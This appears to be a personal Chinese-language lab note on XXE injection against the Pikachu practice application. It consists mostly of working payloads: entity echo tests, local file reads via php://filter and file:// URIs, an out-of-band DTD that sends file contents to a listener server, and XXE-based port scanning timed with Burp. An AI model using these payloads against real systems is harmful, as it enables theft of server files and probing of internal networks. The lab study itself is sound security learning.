有回显
测试一下是否有xxe漏洞,且是否有回显
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe "11" > ]>
<foo>&xxe;</foo>
然后可以读取文件
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=d:/phpstudy_pro/WWW/pikachu/vul/rce/rce.php" > ]>
<foo>&xxe;</foo>
file也可以
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///d:/test.txt" > ]>
<foo>&xxe;</foo>
无回显
把echo $html 注释掉
在输入框中输入
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/test.dtd">
%dtd;
%send;
]>
这里的127.0.0.1是指本地
在WWW下保存以test.dtd为名的文件
内容为
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://127.0.0.1/?data=%file;'>"
>
%payload;
这里127.0.0.1指目标网站
然后就能在本地的日志里看到test.txt的内容了(要开访问日志权限)
扫描端口
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:80" > ]>
<foo>&xxe;</foo>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:81" > ]>
<foo>&xxe;</foo>
两个回显都是这样的报错信息
但是扫描80端口会快,81会慢,因为80端口开放了
可以用burp批量爆破
选择端口
填好数据,然后开始爆破
把发包和返回包的时间间隔表示出来,再进行排序
选择 response received
点 response received进行排序
但是这里面返回速度很快的,在网页上测试的时候还是回显很慢,感觉有点问题